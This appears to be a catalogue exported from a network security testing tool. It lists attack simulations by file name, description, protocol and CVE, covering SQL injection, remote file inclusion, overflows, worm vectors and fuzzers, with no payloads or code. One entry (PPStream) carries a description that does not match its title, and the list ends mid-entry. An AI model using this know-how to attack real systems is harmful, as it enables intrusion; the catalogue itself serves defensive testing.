Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2016-3295
Threat File Name:	FSC20040205-01_Checkpoint_Firewall-1_HTTP_Parsing_Format_String_Vulnerabilities.xml
Executive Description:	Checkpoint Firewall-1 HTTP Parsing Format String Vulnerabilities
Detailed Description:	A vulnerability exists in the HTTP protocol parser used by several components of Check Point Firewall-1. The vulnerability can be triggered by sending certain malformed fields in an HTTP request, and may be exploited to crash the firewall or to execute code of the attacker's choice on the firewall. This vulnerability has been described as a format-string problem, however, it has been found that format specifiers are not required to trigger the vulnerability.
Protocol Type:	HTTP
CVEID:	CVE-2004-0039
Threat Package:	Standard
Threat File Name:	importal_rfi.xml
Executive Description:	IntegraMOD Portal <= vl.2.0 (phpbb_root_path) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.IntegraMOD Portal is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-4368
OSVDB:	29170
Threat Package:	Standard
Threat File Name:	openldap_buf_IPv6.xml
Executive Description:	OpenLDAP Server Kerveros 4 Bind Request Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	LDAP/IPv6
CVEID:	CVE-2006-6493
Threat Package:	Standard
Threat File Name:	FSC20071017-05_Oracle_Database_Core_RDBMS_Component_Denial_of_Service_IPv6.xml
Executive Description:	Oracle Database Core RDBMS Component Denial of Service (IPv6 Version)
Detailed Description:	There exists a denial of service vulnerability in the Oracle Database Server. The vulnerability is due to an error in Core RDBMS Component when handling an invalid TNS data packet. Remote unauthenticated attackers could exploit this vulnerability by sending a specially crafted TNS packet. Successful exploitation of the vulnerability would cause complete CPU usage which results in a denial of service condition. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-5530
Threat Package:	Standard
Threat File Name:	TSL20151013-09_Microsoft_Tablet_Input_Band_Object_Handling_Use_After_Free.xml
Executive Description:	Microsoft Tablet Input Band Object Handling Use After Free
Detailed Description:	A use after free vulnerability exists in Microsoft Tablet Input Band. The vulnerability is caused by accessing already released memory objects. An attacker could exploit this vulnerability by convincing a target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the currently logged on user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-2548
Threat File Name:	TSL20110614-17_Microsoft_Excel_SLK_File_Parsing_Buffer_Overflow.xml
Executive Description:	Microsoft Excel SLK File Parsing Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to a boundary error while parsing SLK data exchange files that results in buffer overflow. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected (and executed) on the target machine, the behaviour of the target is dependent on the logic of the malicious code. If such an attack is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS, IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-1276
Threat File Name:	vs-news_rfi_IPv6.xml
Executive Description:	VS-News-System <= V1.2.1 (newsordner) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. VS-News-System is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	grapagenda_rfi.xml
Executive Description:	Graphiks GrapAgenda Index.PHP Remote File Include Vulnerability

Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. GrapAgenda is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-4610
Threat Package:	Standard
Threat File Name:	x86NOOPudp2.xml
Executive Description:	UDP x86 NOOP Variant 2
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	webnews_cookie_inject.xml
Executive Description:	Stylemotion WEB//NEWS SQL Injection
Detailed Description:	This threat sends a malicious cookie along with a web request. This allows the attacker to log on with administrator privileges by bypassing the authentication code. This can allow the attacker to modify the web application content in ways he is unauthorized to. WEB//NEWS is a web application, and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2896
OSVDB:	19230
Threat Package:	Standard
Threat File Name:	TSL201111005-07_Mozilla_Products_SVGTextContentElement_getCharNumAtPosition_Use_After_Free.xml
Executive Description:	Mozilla Products SVGTextContentElement.getCharNumAtPosition Use After Free
Detailed Description:	A code execution vulnerability exists Mozilla products Firefox, Seamonkey and Thunderbird. The vulnerability is due to improper handling of SVG text containers. The getCharNumAtPosition method does not account for the possibility of user defined getter methods in SVGPoint object supplied as its argument to modify or destroy the parent object, leading to a use-after-free condition. A remote attacker could exploit this vulnerability by enticing a user to open a webpage or email containing a specially crafted SVG file or other HTML/XML file embedding SVG data. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-0084
Threat File Name:	fuzz-ARP_hwAddrSize.xml
Executive Description:	Fuzzer for Protocol:ARP and Field:hwAddrSize
Detailed Description:	
Protocol Type:	ARP
Threat Package:	Fuzzing
Threat File Name:	vbtovsi_overwrite_IPv6.xml
Executive Description:	Microsoft Visual Studio 6.0 (VBTOVSI.DLL 1.0.0.0) File Overwrite Exploit (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which will write to an arbitrary file. This method can be used to overwrite any file on the system. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	voodoochat_rfi_IPv6.xml
Executive Description:	VoodooChat File_Path Parameter Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. VoodooChat is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130823-04_SpringSource_Spring_Framework_XML_External_Entity_Information_Disclosure.xml
Executive Description:	SpringSource Spring Framework XML External Entity Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in SpringSource Spring Framework. The vulnerability is due to incorrectly configured XML parsing which accepts XML external entities from untrusted sources. A remote, unauthenticated attacker can leverage this vulnerability by sending a malicious request to the target server. Successful exploitation would result in the disclosure of information from arbitrary files available to the security context of the server application.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-4152
OSVDB:	96520
Threat File Name:	WebDAV_rs.xml
Executive Description:	WebDAV IIS Exploit
Detailed Description:	This threat is an exploit against the IIS WebDAV flaw. Attempts to create a remote shell on the target machine.
Protocol Type:	HTTP
CVEID:	CVE-2003-0109
OSVDB:	4467
Threat Package:	Standard
Threat File Name:	FSC20090318-06_Adobe_Acrobat_JavaScript_getIcon_Method_Buffer_Overflow.xml
Executive Description:	Adobe Acrobat JavaScript getIcon Method Buffer Overflow

Detailed Description:	A buffer overflow vulnerability exists in Adobe Reader and Acrobat. The vulnerability is due to insufficient input validation in the getIcon() method of a Collab object, while processing a crafted PDF file. A remote attacker can exploit this vulnerability by enticing the target user to open malicious PDF files. In an attack case where code injection is not successful, the affected Acrobat application parsing the malicious PDF document can terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0927
Threat Package:	Standard
Threat File Name:	phatwonk.xml
Executive Description:	phatwonk TCP SYN Flood
Detailed Description:	This is a SYN flood used by Agobot, targeted against 28 ports.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	FSC20090612-04_Mozilla_Firefox_Browser_Engine_Memory_Corruption.xml
Executive Description:	Mozilla Firefox Browser Engine Memory Corruption
Detailed Description:	A memory corruption exists vulnerability in Mozilla Firefox. This flaw is due to the way Mozilla Firefox handles first-letter CSS style elements. A remote attacker can exploit this vulnerability by persuading a target user to open a malicious webpage. Successful attacks could allow for arbitrary code injection and execution within the security privileges of the currently logged on user. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. In the case of an unsuccessful code execution attack, Firefox may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1392
Threat Package:	Standard
Threat File Name:	orinoco_info_IPv6.xml
Executive Description:	Orinoco Information Leakage (IPv6 Version)
Detailed Description:	This threat sends a specialized packet to UDP port 192. This will cause an Orinoco Residential Gateway to disclose its SNMP community string. This community string can then be used by an attacker to read and alter settings on the device. (IPv6 Version)
Protocol Type:	UDP/IPv6
CVEID:	CVE-2002-0812
OSVDB:	11315
Threat Package:	Standard
Threat File Name:	FSC20060613-09_Microsoft_Internet_Explorer_COM_Object_Instantiation_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer COM Object Instantiation Memory Corruption
Detailed Description:	There exists a heap memory corruption vulnerability in Microsoft Internet Explorer. The vulnerability is caused by improper instantiation of a COM object which can lead to memory corruption in the application. An attacker may leverage the vulnerability by enticing the target user to follow a malicious link to a crafted HTML page. This may allow injection and execution of arbitrary code within the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2006-1303
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_RRQ_NETASCII_formatn.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RRQ_NETASCII_formatn.xml
Detailed Description:	Fuzzes Mode field by appending %n to netascii with ranging sizes. OpCode is RRQ.
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	FSC20071219-34_Yahoo_Toolbar_URL_Shortcut_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	Yahoo! Toolbar URL Shortcut ActiveX Control Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Yahoo! Toolbar. The vulnerability is caused due to boundary errors within the YShortcut ActiveX control component of Yahoo! Toolbar. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted webpage, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2007-6535
Threat Package:	Standard
Threat File Name:	FSC20060413-05_Novell_GroupWise_Messenger_Accept-Language_Header_Buffer_Overflow.xml
Executive Description:	Novell GroupWise Messenger Accept-Language Header Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in the Novell GroupWise Messenger product. The vulnerability is caused due to a flaw when verifying specific HTTP headers supplied by the client. An unauthenticated attacker may exploit this vulnerability to inject and execute code on a target host with System privileges.
Protocol Type:	HTTP
CVEID:	CVE-2006-0992
Threat Package:	Standard
Threat File Name:	FSC20081022-04_Trend_Micro_OfficeScan_Multiple_CGI_Modules_HTTP_Form_Processing_Buffer_Overflow.xml
Executive Description:	Trend Micro OfficeScan Multiple CGI Modules HTTP Form Processing Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Trend Micro's OfficeScan. The flaw is due to a boundary error when handling HTTP requests. An unauthenticated remote attacker can leverage this vulnerability to inject and execute arbitrary code with System level privileges on the target system.
Protocol Type:	HTTP-ALT
CVEID:	CVE-2008-3862
Threat Package:	Standard
Threat File Name:	FSC20070508-23_Microsoft_Internet_Explorer_CSS_Property_Method_Handling_Memory_Corruption_IPv6.xml

Executive Description:	Microsoft Internet Explorer CSS Property Method Handling Memory Corruption (IPv6 Version)
Detailed Description:	There exist a memory corruption vulnerability in Microsoft Internet Explorer product. The vulnerability is due to the way that Internet Explorer handles CSS property method calls. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0945
Threat Package:	Standard
Threat File Name:	cacti_execution.xml
Executive Description:	Cacti Remote Code Execution Attack
Detailed Description:	This threat inserts a block of PHP code that will get executed through a flaw in the Cacti web application. This application typically resides on a webserver and listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-1526
Threat Package:	Standard
Threat File Name:	TSL20161220-05_Microsoft_Office_CVE-2016-7264_Out_of_Bounds_Read.xml
Executive Description:	Microsoft Office CVE-2016-7264 Out of Bounds Read
Detailed Description:	An out of bounds read vulnerability has been reported in Microsoft Office. The vulnerability is due to failure in handling certain objects in memory which leads to an out of bound memory read. A remote attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted document. Successful exploitation allows the attacker to retrieve information that could lead to an Address Space Layout Randomization bypass.
Protocol Type:	HTTP, HTTPS, POP3, IMAP, SMTP, SMB/CIFS
CVEID:	CVE-2016-7264
Threat File Name:	TSL20150408-09_OpenLDAP_slapd_Deref_Overlay_Null_Pointer_Dereference_IPv6.xml
Executive Description:	OpenLDAP slapd Deref Overlay Null Pointer Dereference IPv6 version.
Detailed Description:	A denial of service vulnerability exists in OpenLDAP. The vulnerability is due to NULL pointer dereference in the Deref overlay of slapd when certain LDAP request messages are processed. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted packet to the server. Successful exploitation could lead to the OpenLDAP server process terminating abnormally. Tester should set variable \$destPort to 389 before test.
Protocol Type:	LDAP/LDAPS, IPV6
CVEID:	CVE-2015-1545
OSVDB:	118031
Threat File Name:	TSL20140501-07_Apache_Struts_ActionForm_ClassLoader_Security_Bypass.xml
Executive Description:	Apache Struts ActionForm ClassLoader Security Bypass
Detailed Description:	A security bypass vulnerability exists in Apache Struts. The vulnerability is due to inadequate validation of data processed by the ActionForm class allowing for manipulation of the ClassLoader. A remote unauthenticated attacker could exploit this vulnerability by providing a "class" parameter in an HTTP request. Successful exploitation will result in a security bypass which could lead to sandbox bypass and arbitrary code execution.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0114
OSVDB:	106409
Threat File Name:	pnphpbb2_rfi.xml
Executive Description:	PNphpBB2 Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.PNphpBB is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20130326-01_HP_Intelligent_Management_Center_mibFileUpload_Servlet_Arbitrary_File_Upload_IPv6.xml
Executive Description:	HP Intelligent Management Center mibFileUpload Servlet Arbitrary File Upload(IPv6 version)
Detailed Description:	An arbitrary file upload vulnerability exists in HP Intelligent Management Center. The vulnerability is due to the mibFileUpload servlet accepts unauthenticated file uploads and processes zip files in an insecure way. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2012-5201
OSVDB:	91026
Threat File Name:	zotob_IPv6.xml
Executive Description:	Zotob Worm Exploit Vector (IPv6 Version)
Detailed Description:	This threat is the Zotob worm. Zotob uses the vulnerability in MS05-039 to propagate. This attack uses the SMB port on Microsoft systems, which typically listens on port 445. (IPv6 Version)
Protocol Type:	SMB/IPv6
CVEID:	CVE-2005-1983
OSVDB:	18605
Threat Package:	Standard
Threat File Name:	TSL20141216-05_Lexmark_MarkVision_Enterprise_GfdFileUploadServlet_Directory_Traversal.xml
Executive Description:	Lexmark MarkVision Enterprise GfdFileUploadServlet Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in Lexmark MarkVision Enterprise. The vulnerability is due to an input validation issue when processing user supplied data used for writing files to the system by the GfdFileUploadServlet servlet. A remote unauthenticated attacker could exploit this vulnerability by sending a malicious request to the server. Successful exploitation could lead to arbitrary code execution under the security context of SYSTEM.
Protocol Type:	HTTP
CVEID:	CVE-2014-8741

Threat File Name:	FSC20080917-06_IBM_DB2_Universal_Database_XML_Query_Buffer_Overflow_IPv6.xml
Executive Description:	IBM DB2 Universal Database XML Query Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a stack buffer overflow vulnerability in IBM DB2 Universal Database application. The vulnerability is due to insufficient boundary check on an argument passed to the XMLQUERY function call. Remote authenticated attackers can exploit this vulnerability to overrun a stack buffer and execute arbitrary code with elevated privileges or cause Denial of Service on the server. (IPv6 Version)
Protocol Type:	SUBSARI/IPv6
CVEID:	CVE-2008-3854
Threat Package:	Standard
Threat File Name:	nachi_ping_IPv6.xml
Executive Description:	Nachi Worm Ping Request (IPv6 Version)
Detailed Description:	This threat mimics the ping request sent out by the Nachi worm. This is used by the worm to find new hosts to infect. The payload of a Nachi worm is 64 bytes of '0xAA'. The vulnerability is also described in MS03-026. (IPv6 Version)
Protocol Type:	ICMP/IPv6
CVEID:	CVE-2003-0352
OSVDB:	2100
Threat Package:	Standard
Threat File Name:	TSL20160630-14_WECON_LeviStudio_Address_Name_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	WECON LeviStudio Address Name Heap Buffer Overflow (IPv6 Version)
Detailed Description:	A heap buffer overflow vulnerability has been reported in WECON LeviStudio. The vulnerability is due to improper parsing of XML <italic>Address</italic><italic>Name</italic> attribute of LeviStudio project files. A remote attacker could exploit this vulnerability by enticing a user to open a crafted project. Successful exploitation could allow the attacker to execute arbitrary code under the security context of the user process.
Protocol Type:	HTTP, IPv6
Threat File Name:	ms05-051.xml
Executive Description:	Microsoft DTC Memory Corruption Attack
Detailed Description:	This threat causes memory corruption to occur in the DTC component of Microsoft Windows. This allows a remote attacker execute arbitrary code, like a buffer overflow. Microsoft DTC listens on an arbitrary RPC port.
Protocol Type:	RPC
CVEID:	CVE-2005-2119
OSVDB:	18828
Threat Package:	Standard
Threat File Name:	TSL20161213-16_Microsoft_Windows_Graphics_Component_CVE-2016-7272_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Graphics Component CVE-2016-7272 Remote Code Execution (IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in a component of the Microsoft Windows Graphics component. The vulnerability is due to how the component handles certain objects in memory. A remote, unauthenticated attacker could exploit this vulnerability by enticing a user to open a specially crafted web page or document. Successful exploitation could result in arbitrary code execution under the security context of the application.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP, IPv6
CVEID:	CVE-2016-7272
Threat File Name:	mercurl_IPv6.xml
Executive Description:	Mercur Mail POP3 Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends a POP3 buffer overflow payload directed at certain vulnerable versions of Mercur Mail Server. Is known to cause crashes and be used for remote code execution. (IPv6 Version)
Protocol Type:	POP3/IPv6
CVEID:	CVE-2000-0198
OSVDB:	12036
Threat Package:	Standard
Threat File Name:	TSL20130326-11_HP_Intelligent_Management_Center_ReportImgServlet_Information_Disclosure_IPv6.xml
Executive Description:	HP Intelligent Management Center ReportImgServlet Information Disclosure(IPv6 version)
Detailed Description:	An information disclosure vulnerability exists in HP Intelligent Management Center. The vulnerability is due to lack of authentication and insufficient input validation in the ReportImgServlet servlet when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the file contents of arbitrary files on a target system.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2012-5203
OSVDB:	91028
Threat File Name:	adminbot-mx_rfi.xml
Executive Description:	AdminBot-MX Live_Status.Lib.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. AdminBot-MX is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2986
Threat Package:	Standard
Threat File Name:	javaWebServer.xml
Executive Description:	Java Web Server Remote Command Execution
Detailed Description:	This threat attempts to compile an HTML page and execute it through the Java Web Server application. Allows the remote attacker to create and run any program of their choosing. Java Web Server administration panel typically listens on port 9090 and uses HTTP.
Protocol Type:	HTTP

CVEID:	CVE-2000-0812
OSVDB:	10880
Threat Package:	Standard
Threat File Name:	TSL20121113-12_Microsoft_Excel_SerAuxErrBar_Heap_Memory_Corruption.xml
Executive Description:	Microsoft Excel SerAuxErrBar Heap Memory Corruption
Detailed Description:	An out of bound array index vulnerability exists in Microsoft Excel. The vulnerability is due to the way Excel handles crafted SerAuxErrBar records in Excel files. A remote, unauthenticated attacker could exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS
CVEID:	CVE-2012-1885
OSVDB:	87270
Threat File Name:	philboard_sqli_IPv6.xml
Executive Description:	Philboard <= 1.14 (philboard_forum.asp) SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Philboard is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20040219-03_OpenSSL_Handshake_DoS_IPv6.xml
Executive Description:	OpenSSL Handshake DoS (IPv6 Version)
Detailed Description:	Many software and hardware products use the OpenSSL library for SSL/TLS support. These include all Cisco products, Nortel/Alteon products, Juniper products, the Apache web server, and a very large number of other hardware and software products (see below). A vulnerability exists in the OpenSSL library's handling of ChangeCipherSpec messages within the SSL protocol. This vulnerability may allow remote attackers to cause applications using OpenSSL to terminate. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2004-0079
Threat Package:	Standard
Threat File Name:	TSL20150323-08_Unzip_Extra_Field_Uncompressed_Size_Buffer_Overflow.xml
Executive Description:	Unzip Extra Field Uncompressed Size Buffer Overflow.
Detailed Description:	A buffer overflow vulnerability exists in Info-ZIP UnZip tool. The vulnerability is due to insufficient bounds checking on user-supplied input while handling ZIP files. Specifically, a crafted ZIP archive containing uncompressed size in extra fields that are smaller than the corresponding compressed data sizes in the archive file will trigger a heap buffer overflow. A remote unauthenticated attacker can exploit these vulnerabilities by enticing a target user to open a crafted ZIP archive with the "-t" option. Successful exploitation would crash the program, resulting in a denial of service condition or possibly arbitrary code execution.
Protocol Type:	HTTP/HTTPS/SMB/CIFS/IMAP/POP2/SMTP
CVEID:	CVE-2014-9636
OSVDB:	114423
Threat File Name:	FSC20070508-23_Microsoft_Internet_Explorer_CSS_Property_Method_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CSS Property Method Handling Memory Corruption
Detailed Description:	There exist a memory corruption vulnerability in Microsoft Internet Explorer product. The vulnerability is due to the way that Internet Explorer handles CSS property method calls. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0945
Threat Package:	Standard
Threat File Name:	sipunknownrequire.xml
Executive Description:	SIPPING: Unknown Require and Proxy-Require
Detailed Description:	This threat sends out a SIP OPTIONS message with unknown values in Require: and Proxy-Require: headers. This is technically valid but because it is unexpected it may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20170612-10_Schneider_Electric_U.motion_Builder_track_import_export.php_SQL_Injection_IPv6.xml
Executive Description:	Schneider Electric U.motion Builder track_import_export.php SQL Injection (IPv6 Version)
Detailed Description:	An SQL injection vulnerability has been reported in Schneider Electric U.motion Builder. The vulnerability is due to insufficient validation of the object_id HTTP parameter of the track_import_export.php request. A remote, unauthenticated user can exploit this vulnerability by sending a crafted HTTP request to the affected page. Successful exploitation could result in the execution of arbitrary SQL commands on the target server with privileges of the database process.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2017-7973
Threat File Name:	TSL20160712-24_Microsoft_Edge_CVE-2016-3244_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Edge CVE-2016-3244 Information Disclosure (IPv6 version)
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Edge. The vulnerability is due to improper implementation of Address Space Layout Randomization (ASLR). A remote attacker could exploit the vulnerability by enticing a user to open a maliciously crafted web page. Successful exploitation of this vulnerability could allow the attacker to bypass ASLR protection that may help in further attacks.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-3244
Threat File Name:	FSC20090113-02_Nullsoft_Winamp_AIFF_Parsing_Heap_Buffer_Overflow.xml
Executive Description:	Nullsoft Winamp AIFF Parsing Heap Buffer Overflow

Detailed Description:	A vulnerability exists in the AIFF file parsing component of Nullsoft Winamp. The vulnerability is caused by improper handling of the header of AIFF media files. A remote attacker can exploit this vulnerability by enticing the user to open a crafted AIFF file, thereby creating a denial of service condition or potentially injecting and executing arbitrary code on the target system. Upon an unsuccessful attack attempting to leverage this vulnerability, the Winamp player will terminate. In an attack scenario where arbitrary code is injected and executed on the target machine, the behaviour of the target host is dependent on the intention of the malicious code. Any code injected into the vulnerable program would execute in the security context of the currently logged in user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
Threat Package:	Standard
Threat File Name:	nurems_sqlii.xml
Executive Description:	NuRems 1.0 (propertysdetails.asp) SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. NuRems is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5886
Threat Package:	Standard
Threat File Name:	TSL20131015-02_IBM_iNotes_ActiveX_Control_Integer_Overflow.xml
Executive Description:	IBM iNotes ActiveX Control Integer Overflow
Detailed Description:	A buffer overflow vulnerability exists in IBM iNotes. The vulnerability is due to an integer overflow within an ActiveX control. A remote attacker can exploit this vulnerability by enticing a target user to view crafted web content. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user's browser.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-3027
OSVDB:	95993
Threat File Name:	simpnews_sql_i.xml
Executive Description:	SimpNews <= 2.40.01 (print.php newnr) Remote SQL Injection Exploit
Detailed Description:	This threat demonstrates a standard SQL injection attack against SimpNews, this threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2750
Threat Package:	Standard
Threat File Name:	FSC20090528-05_Microsoft_DirectShow_QuickTime_Movie_Parsing_Code_Execution.xml
Executive Description:	Microsoft DirectShow QuickTime Movie Parsing Code Execution
Detailed Description:	A memory corruption vulnerability exists in DirectShow technology in Microsoft DirectX. The vulnerability is due to insufficient validation while parsing QuickTime movie files. Remote attackers can exploit this vulnerability by enticing the target user to open a crafted QuickTime movie file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-1537
Threat Package:	Standard
Threat File Name:	TSL20110923-05_Microsoft_Excel_Incorrect_BIFF2_Record_Parsing_Code_Execution.xml
Executive Description:	Microsoft Excel Incorrect BIFF2 Record Parsing Code Execution
Detailed Description:	A code execution vulnerability exists in Microsoft Excel. The vulnerability is due to heap memory corruption that occurs while parsing certain BIFF2 records in Excel files. A remote attacker could exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful attack would result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-1988
Threat File Name:	FSC20070109-17_Microsoft_Excel_Malformed_Palette_Record_Memory_Corruption.xml
Executive Description:	Microsoft Excel Malformed Palette Record Memory Corruption
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Excel. The flaw is caused by insufficient checks while parsing palette records in Excel documents. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel document, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0031
Threat Package:	Standard
Threat File Name:	ultimatehelpdesk_xss.xml
Executive Description:	Ultimate HelpDesk Index.ASP Cross-Site Scripting Vulnerability
Detailed Description:	This threat sends a crafted URL that contains a malicious script which is then executed by the server. Ultimate HelpDesk is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	ppstream_activex_bof.xml
Executive Description:	PPStream PowerPlayer.DLL ActiveX Control Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Yahoo! Widgets Engine ActiveX Control, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	mailutils_search.xml
Executive Description:	GNU MailUtils IMAP Format String Attack
Detailed Description:	This threat sends a format string attack via the SEARCH verb. This allows the remote attacker to gain access to a remote shell on the mailserver. This threat affects an IMAP server, which typically listens on port 143.

Protocol Type:	IMAP
CVEID:	CVE-2005-2878
OSVDB:	13906
Threat Package:	Standard
Threat File Name:	fuzz-IP_TotalLength_IPv6.xml
Executive Description:	Fuzzer for Protocol:IP and Field:TotalLength (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	IP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20110310-06_Apple_Safari_WebKit_Range_Object_Remote_Code_Execution_IPv6.xml
Executive Description:	Apple Safari WebKit Range Object Remote Code Execution(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Apple Safari WebKit. The vulnerability is due to an error while parsing a range object within the Document Object Model. The vulnerable code does not account for DOM manipulation by event listeners. A remote, unauthenticated attacker can exploit this vulnerability by enticing an unsuspecting user to access a maliciously crafted web page. This can lead to code execution in the context of the current user. Where code execution is not successful, the application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-0115
Threat File Name:	FSC20080812-29_Microsoft_Office_PICT_Filter_Map_Structure_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office PICT Filter Map Structure Memory Corruption (IPv6 Version)
